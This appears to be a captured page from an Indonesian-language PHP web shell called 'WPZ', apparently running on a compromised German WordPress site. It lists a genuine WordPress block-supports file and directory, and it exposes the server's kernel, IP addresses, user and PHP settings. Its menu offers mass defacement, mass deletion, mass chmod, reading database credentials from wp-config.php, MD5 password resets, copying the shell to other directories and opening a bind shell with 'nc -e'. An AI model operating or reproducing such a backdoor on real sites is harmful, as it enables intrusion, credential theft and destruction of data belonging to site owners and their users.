WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-includes / block-supports / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-includes/block-supports/auto-register.php (2.18 KB)
<?php
/**
 * Auto-register block support.
 *
 * @package WordPress
 * @since 7.0.0
 */

/**
 * Marks user-defined attributes for auto-generated inspector controls.
 *
 * This filter runs during block type registration, before the WP_Block_Type
 * is instantiated. Block supports add their attributes AFTER the block type
 * is created (via {@see WP_Block_Supports::register_attributes()}), so any attributes
 * present at this stage are user-defined.
 *
 * The marker tells generateFieldsFromAttributes() which attributes should
 * get auto-generated inspector controls. Attributes are excluded if they:
 * - Have a 'source' (HTML-derived, edited inline not via inspector)
 * - Have role 'local' (internal state, not user-configurable)
 * - Have an unsupported type (only 'string', 'number', 'integer', 'boolean' are supported)
 * - Were added by block supports (added after this filter runs)
 *
 * @since 7.0.0
 * @access private
 *
 * @param array<string, mixed> $args Array of arguments for registering a block type.
 * @return array<string, mixed> Modified block type arguments.
 */
function wp_mark_auto_generate_control_attributes( array $args ): array {
	if ( empty( $args['attributes'] ) || ! is_array( $args['attributes'] ) ) {
		return $args;
	}

	$has_auto_register = ! empty( $args['supports']['autoRegister'] );
	if ( ! $has_auto_register ) {
		return $args;
	}

	foreach ( $args['attributes'] as $attr_key => $attr_schema ) {
		// Skip HTML-derived attributes (edited inline, not via inspector).
		if ( ! empty( $attr_schema['source'] ) ) {
			continue;
		}
		// Skip internal attributes (not user-configurable).
		if ( isset( $attr_schema['role'] ) && 'local' === $attr_schema['role'] ) {
			continue;
		}
		// Skip unsupported types (only 'string', 'number', 'integer', 'boolean' are supported).
		$type = $attr_schema['type'] ?? null;
		if ( ! in_array( $type, array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
			continue;
		}
		$args['attributes'][ $attr_key ]['autoGenerateControl'] = true;
	}

	return $args;
}

// Priority 5 to mark original attributes before other filters (priority 10+) might add their own.
add_filter( 'register_block_type_args', 'wp_mark_auto_generate_control_attributes', 5 );
namawaktuukuranownerpermaksi
..
align.php 2026-02-23 19:411.67 KB 76129f60960:kunden-xw-x-----
edt
anchor.php 2026-05-21 09:111.54 KB 76129f60960:kunden-xw-x--x--
edt
aria-label.php 2026-05-21 09:111.65 KB 76129f60960:kunden-xw-x--x--
edt
auto-register.php 2026-05-21 09:112.18 KB 76129f60960:kunden-xw-x--x--
edt
background.php 2026-08-20 11:464.79 KB 76129f60960:kunden-xw-x-----
edt
block-style-variations.php 2026-08-20 11:469.59 KB 76129f60960:kunden-xw-x--x--
edt
block-visibility.php 2026-08-20 11:464.01 KB 76129f60960:kunden-xw-x--x--
edt
border.php 2026-05-21 09:116.1 KB 76129f60960:kunden-xw-x--x--
edt
colors.php 2026-08-20 11:465.97 KB 76129f60960:kunden-xw-x--x--
edt
custom-classname.php 2026-02-23 19:411.64 KB 76129f60960:kunden-xw-x-----
edt
custom-css.php 2026-08-20 11:4610.04 KB 76129f60960:kunden-xw-x--x--
edt
dimensions.php 2026-08-20 11:465.85 KB 76129f60960:kunden-xw-x--x--
edt
duotone.php 2026-02-23 19:412.67 KB 76129f60960:kunden-xw-x-----
edt
elements.php 2026-08-20 11:469.31 KB 76129f60960:kunden-xw-x--x--
edt
generated-classname.php 2026-02-23 19:411.7 KB 76129f60960:kunden-xw-x-----
edt
layout.php 2026-08-20 11:4659.47 KB 76129f60960:kunden-xw-x--x--
edt
position.php 2026-05-21 09:114.01 KB 76129f60960:kunden-xw-x--x--
edt
settings.php 2026-08-20 11:464.44 KB 76129f60960:kunden-xw-x--x--
edt
shadow.php 2026-02-23 19:412.04 KB 76129f60960:kunden-xw-x-----
edt
spacing.php 2026-05-21 09:112.68 KB 76129f60960:kunden-xw-x--x--
edt
states.php 2026-09-18 04:0121.66 KB 76129f60960:kunden-xw-x--x--
edt
typography.php 2026-08-20 11:4627.97 KB 76129f60960:kunden-xw-x--x--
edt
utils.php 2026-02-23 19:411011 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-includes/block-supports
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK